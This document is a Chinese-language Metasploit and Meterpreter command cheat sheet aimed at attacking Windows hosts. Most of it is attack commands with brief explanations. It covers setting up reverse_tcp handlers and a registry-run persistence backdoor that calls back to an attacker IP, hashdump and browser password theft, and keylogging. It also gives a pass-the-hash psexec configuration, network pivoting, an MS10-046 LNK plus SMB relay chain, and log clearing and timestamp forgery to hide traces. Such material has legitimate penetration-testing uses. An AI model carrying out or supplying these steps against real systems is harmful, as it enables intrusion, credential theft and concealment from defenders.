MSF終端命令
常用命令
- show exploits
列出 Metasploit 框架中的所有滲透攻擊模塊 - show payloads
列表 Metasploit 框架中所有的攻擊載荷 - show auxiliary
列出 Metasploit 框架中的所有輔助攻擊模塊 - search name
查找 Metasploit 框架中所有的滲透攻擊和其他模塊 - info
展示出制定滲透攻擊或模塊的相關信息 - use name
裝載一個滲透攻擊或者模塊(例如:使用 use windows/smb.psexec) - show options
列出某個滲透攻擊或模塊中所有的配置參數 - show targets
列出滲透攻擊所支持的目標平臺 - show payloads
列出所有可用的payloads - show advanced
列出所有高級配置選項 - set payload Payload
指定要使用的攻擊載荷 - set target Num
指定滲透攻擊的目標平臺,Num是show targets命令中所展示的索引 - set autorunscript migrate -f
在攻擊完成後,將自動遷移到另一個進程 - check
檢測目標是否對選定的滲透攻擊存在相應安全漏洞 - exploit/run
執行攻擊,部分輔助模塊是用run - exploit -j
在計劃任務下進行滲透攻擊(攻擊將在後臺進行) - exploit -z
滲透攻擊成功後不與會話進行交互 - exploit -e encoder
制定使用的攻擊載荷編碼方式(例如:exploit -e shikata_ga_nai) - exploit -h
列出exploit命令的幫助信息 - sessions -I
列出可用的交互會話 - sessions -I -v
列出所有可用的交互會話以及會話詳細信息 - sessions -s script
在所有活躍的 Meterpreter 會話中運行一個特定的腳本 Meterpreter 腳本 - sessions -K
殺死所有活躍的交互會話 - sessions -c cmd
在所有活躍的交互會話上執行一個命令 - sessions -u sessionID
升級一個普通的Win32 shell 到 Meterpreter shell(不知道有什麼用) - sessions -i index
進入指定交互會話 - jobs
查看當前運行的模塊
數據庫相關命令
- db_create name
創建一個數據庫驅動攻擊所要使用的數據庫 - db_connect name
創建並連接一個數據庫 - db_nmap
利用 nmap 並把掃描數據存儲到數據庫中 - db_autopwn -h
展示出 db_autopwn 命令的幫助信息 - db_autopwn -p -r -e
對所有發現的開放端口執行 db_autopwn,攻擊所有系統 - db_destroy
刪除當前數據庫 - db_destroy user:password@host:port/database
使用高級選項來刪除數據庫
Meterpreter命令
常用命令
- help
打開 Meterpreter 使用幫助 - run scriptname
運行 Meterpreter 腳本,在 scripts/meterpreter 目錄下可查看到所有腳本 - use priv
加載特權提升擴展模塊,來擴展 Meterpreter 庫 - getprivs
儘可能多地獲取目標主機上的特權 - getsystem
通過各種攻擊向量來提升到系統用戶權限 - hashdump
導出目標主機中的口令哈希值 - rev2self
回到控制目標主機的初始用戶賬戶下 - setdesktop number
切換到另一個用戶界面(該功能基於哪些用戶已登錄) - screenshot
對目標主機的屏幕進行截圖 - background
將當前 Meterpreter shell 轉爲後臺執行 - quit
關閉當前Meterpreter會話,返回MSF終端
系統命令
- ps
顯示所有運行進程以及關聯的用戶賬戶 - migrate PID
遷移到一個指定的進程PID - execute
執行目標機上的文件
例1:在目標機上隱藏執行cmd.exe
execute -H -f cmd.exe
例2:與cmd進行交互
execute -H -i -f cmd.exe
例3:直接從內存中執行攻擊端的可執行文件
execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt”
1) -d選項設置需要顯示的進程名
2) 可執行文件(wce.exe)不需要在目標機上存儲,不會留下痕跡 - getpid
獲得當前會話所在進程的PID值 - kill PID
終結指定的PID進程 - getuid
獲得運行Meterpreter會話的用戶名,從而查看當前會話具有的權限 - sysinfo
列出受控主機的系統信息 - shell
以所有可用令牌來運行一個交互的shell - add_user username password -h IP
在遠程目標主機上添加一個用戶 - add_group_user “Domain Admins” username -h IP
將用戶添加到目標主機的域管理員組中 - execute -f cmd.exe -i
執行 cmd.exe 命令並進行交互 - execute -f cmd.exe -i -t
以所有可用令牌來執行 cmd 命令並交互 - execute -f cmd.exe -i -H -t
以所有可用令牌來執行 cmd 命令並隱藏該進程 - reboot
重啓目標主機 - shutdown
關閉目標主機
文件模塊
- ls
列出目標主機的文件和文件夾信息 - reg command
在目標主機註冊表中進行交互,創建、刪除、查詢等 - upload file
向目標主機上傳文件 - download file
從目標主機下載文件 - timestomp
修改文件屬性,例如修改文件的創建時間
例如:timestomp file1 -f file2
將file1文件的時間信息設置得與file2文件完全一樣 - cat
查看文件內容 - getwd
獲得目標機上當前的工作目錄 - edit
編輯目標機上的文件 - search
對目標機上的文件進行搜索,支持星號匹配,如
search -d c:\windows -f *.mdb
鍵盤鼠標模塊
- keyscan_start
針對目標主機開啓鍵盤記錄功能 - keyscan_dump
存儲目標主機上捕獲的鍵盤記錄 - keyscan_stop
停止針對目標主機的鍵盤記錄 - uictl enable keyboard/mouse
接管目標主機的鍵盤和鼠標
網絡命令
ipconfig
獲取目標機上的網絡接口信息portfwd
Meterpreter內嵌的端口轉發器,例如將目標機的3389端口轉發到本地的1234端口
portfwd add -l 1234 -p 3389 -r 192.168.10.142route
顯示目標機的路由信息run get_local_subnets
獲取目標機所配置的內網的網段信息
嗅探模塊
- use sniffer
加載嗅探模塊 - sniffer_interfaces
列出目標主機所有開放的網絡接口 - sniffer_start interfaceID
在目標主機指定網卡上開始監聽 - sniffer_dump interfaceID /tmp/xpsp1.cap
將指定網卡上嗅探的內容dump到本地/tmp/xpsp1.cap文件中 - sniffer_stats interfaceID
獲取正在實施嗅探網絡接口的統計數據 - sniffer_stop interfaceID
停止嗅探
日誌清理
- clearev
清除目標主機上的日誌記錄 - run event_manager
清理日誌 - 刪除多餘的文件,修改文件的修改時間
後滲透攻擊模塊
兩種使用方法
1、在Msf終端通過 use post/xxxxxx ,然後設置相關的參數(如 SESSION),然後執行exploit
2、在Meterpreter會話中,直接用 run post/xxxxxxxx執行
- persistence 模塊——開機自啓動
run persistence -X -i 5 -p 443 -r 192.168.10.141
命令會在目標主機的註冊表鍵HKLM\Software\Microsoft\Windows\Currentversion\Run中添加一個鍵值,達到開機自啓動
-X 參數指定啓動的方式爲開機自啓動
-i 參數指定反向連接的時間間隔
對應攻擊機的監聽操作如下:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.10.141
set LPORT 443
exploit
metsvc 模塊——持久化自啓動
run metsvc
將Meterpreter以系統服務的形式安裝到目標主機上,在目標主機上開啓監聽並等待連接getgui 模塊——開啓遠程桌面
run getgui -u metasploit -p meterpreter
在目標主機上添加了賬號metasploit,其密碼爲meterpreter,並開啓了遠程控制終端
這時在本地連接目標IP的3389端口即可,如果對方處在內網中,可以使用portfwd命令進行端口轉發
注意:腳本運行會在/root/.msf4/logs/scripts/getgui目錄下生成clean_up__xxxxxxx.rc腳本,
當在遠程桌面操作完之後,可以使用這個腳本清除痕跡,關閉服務、刪除添加的賬號
run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up_xxxxxx.rc
權限提升
getsystem
集成了4種權限提升技術
getsystem利用提權模塊,如MS10-073、MS10-092
位於 /post/windows/escalate 和 exploit/windows/local 目錄中
可以通過搜索對應的漏洞編號來查看利用bypassuac模塊進行繞過提權
信息竊取
dumplinks 後滲透模塊
run post/windows/gather/dumplinks
查看最近處理的文件資料,
對每一個LNK文件,Metasploit都在/root/.msf4/loot目錄下生成了對應的記錄文件,包含文件的原始位置、創建和修改時間等enum_applications 後滲透模塊
run post/windows/gather/enum_applications
獲得目標主機安裝的軟件、安全更新與漏洞補丁的信息鍵盤記錄相關
keyscan_start
keyscan_dump
keyscan_stop
口令攫取和利用
使用sniffer嗅探模塊
除外post/windows/gather/credentials目錄下集成了數十個口令攫取的後滲透攻擊模塊,
包括VNC、Outlook、FlashFXP、Coreftp、Dyndns等
通過瀏覽器進行口令攫取
- run post/windows/gather/enum_ie
讀取緩存的IE瀏覽器密碼
系統口令攫取
hashdump
獲取系統的密碼哈希run windows/gather/smart_hashdump
如果hashdump不成功,嘗試此命令
如果開啓了UAC,需要先使用繞過UAC的後滲透攻擊模塊,再獲取
內網拓展
添加路由
run get_local_subnets
background
route add 192.168.10.0 255.255.255.0 1
route print
意味着對192.168.10.0/24網段的所有攻擊和控制的流量都將通過會話1進行轉發
進行445端口掃描
MSF終端:
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.10.0/25
set PORTS 445
run
哈希傳遞攻擊
MSF終端:
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.128
set LPORT 443
set RHOST 192.168.10.2
set SMBPass xxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxx
exploit
MS08-068和MS10-046漏洞相互配合
MS08-068:當目標機通過SMB協議連接到攻擊者的惡意SMB服務器時,攻擊者延時發送SMB響應,提取目標機發送的重要字段如NTLM哈希並對目標機進行重放,達到身份認證的目的後可以執行任意代碼
MS10-046:LNK快捷方式文件漏洞
* 生成惡意lnk文件
MSF終端:
use post/windows/escalate/droplnk
set LHOST 192.168.10.141 // 查看session的Connection字段
set SESSION 19 // 對應的session id
exploit
會在目標主機的C:\WINDOWS\system32目錄下創建一個Words.lnk文件,
當存在漏洞的目標機打開了包含此快捷方式的文件夾,就會以SMB方式連接到設定的SMB服務器(192.168.10.141),以嘗試加載遠程圖標
- 搭建SMB服務器
MSF終端:
use windows/smb/smb_relay
set SRVHOST 192.168.10.141
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.141
exploit